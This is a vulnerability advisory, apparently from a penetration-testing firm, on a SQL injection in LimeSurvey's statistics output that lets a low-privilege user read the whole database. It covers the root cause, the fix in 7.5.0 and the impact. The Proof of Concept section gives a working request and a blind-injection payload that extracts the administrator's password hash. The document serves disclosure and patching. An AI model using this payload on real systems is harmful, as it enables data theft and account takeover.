LimeSurvey: SQL injection in the statistics output
A user with statistics read permission on a single survey reads the entire LimeSurvey database through the summary[] parameter, including the administrators' password hashes.
Advisory ID: TP-2026-109
Product: LimeSurvey (open source online survey software, Community Edition)
Vulnerability type: SQL injection (CWE-89)
CVE: requested on 17 June 2026 (MITRE CNA-LR), assignment pending
CVSS 3.1: 6.5 (Medium) · CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Affected versions: all versions before 7.5.0 (verified on 7.0.1, MySQL/MariaDB)
Fixed in: 7.5.0 (1 October 2026), follow-up fix in 7.5.1 (7 October 2026)
Reported: 16 June 2026
Summary
LimeSurvey is a widely used open source platform for online surveys. The statistics output in the administration area takes the entries of the summary[] POST parameter unchecked as column names in SQL queries against the response table. The Yii framework's column-name quoting only wraps the name in backticks and does not double embedded backticks, so a single backtick leaves the identifier. A user who may read the statistics of a single active survey thereby reads the entire database through blind SQL injection, including the password hashes of all administration accounts.
Root cause
Statistics::run() reads summary through returnGlobal('summary') with no sanitizer and no check against the survey's field list (application/controllers/admin/Statistics.php:91). The only check before that is the per-survey delegable statistics/read permission (Statistics.php:107), after which the array goes unchanged to generate_html_chartjs_statistics() or generate_statistics() (Statistics.php:472-479). In the numeric branch each element becomes $fieldname (application/helpers/admin/statistics_helper.php:938) and is concatenated via quoteColumnName($fieldname) into the SELECT, WHERE and AND of the query (statistics_helper.php:940-962), identically in the PDF/XLS path (application/helpers/userstatistics_helper.php:900). CMysqlSchema::quoteSimpleColumnName() only wraps $name in backticks and does not escape embedded backticks (vendor/yiisoft/yii/framework/db/schema/mysql/CMysqlSchema.php:62). The fix overrides quoteSimpleColumnName() in application/core/db/MysqlSchema.php so that embedded backticks are doubled via str_replace(), and validates the field names against the columns of the response table.
Proof of Concept
With a session that holds the statistics read permission on the active survey <sid> (Q1_S2 is an existing column of the response table):
POST /index.php/admin/statistics/sa/index/surveyid/<sid>
Content-Type: application/x-www-form-urlencoded
YII_CSRF_TOKEN=<token>&sid=<sid>&outputtype=html&summary[]=NQ1_S2`=0 OR SLEEP(3) OR `Q1_S2
After the leading N is stripped, the injected backtick closes the identifier, so OR SLEEP(3) runs as SQL in the SELECT and WHERE of the generated query on lime_responses_<sid>. The response is reproducibly delayed to about 6 s (two query sites) against a 95 ms baseline; with (SELECT IF(SUBSTRING((SELECT password FROM lime_users WHERE uid=1),1,1)='$',SLEEP(3),0)) in place of SLEEP(3) the same request reads the administrator's bcrypt hash character by character.
Impact
- Read access to the entire LimeSurvey database from a permission that covers a single survey only.
- Disclosure of the responses of every other survey and of the participant data in the central participant database.
- Extraction of the password hashes in
lime_usersfor offline cracking of the administration accounts.
References
Is Something Like This in Your Software?
Our team found this vulnerability in the course of its work. Have your applications tested by the same specialists, with a penetration test from turingpoint.
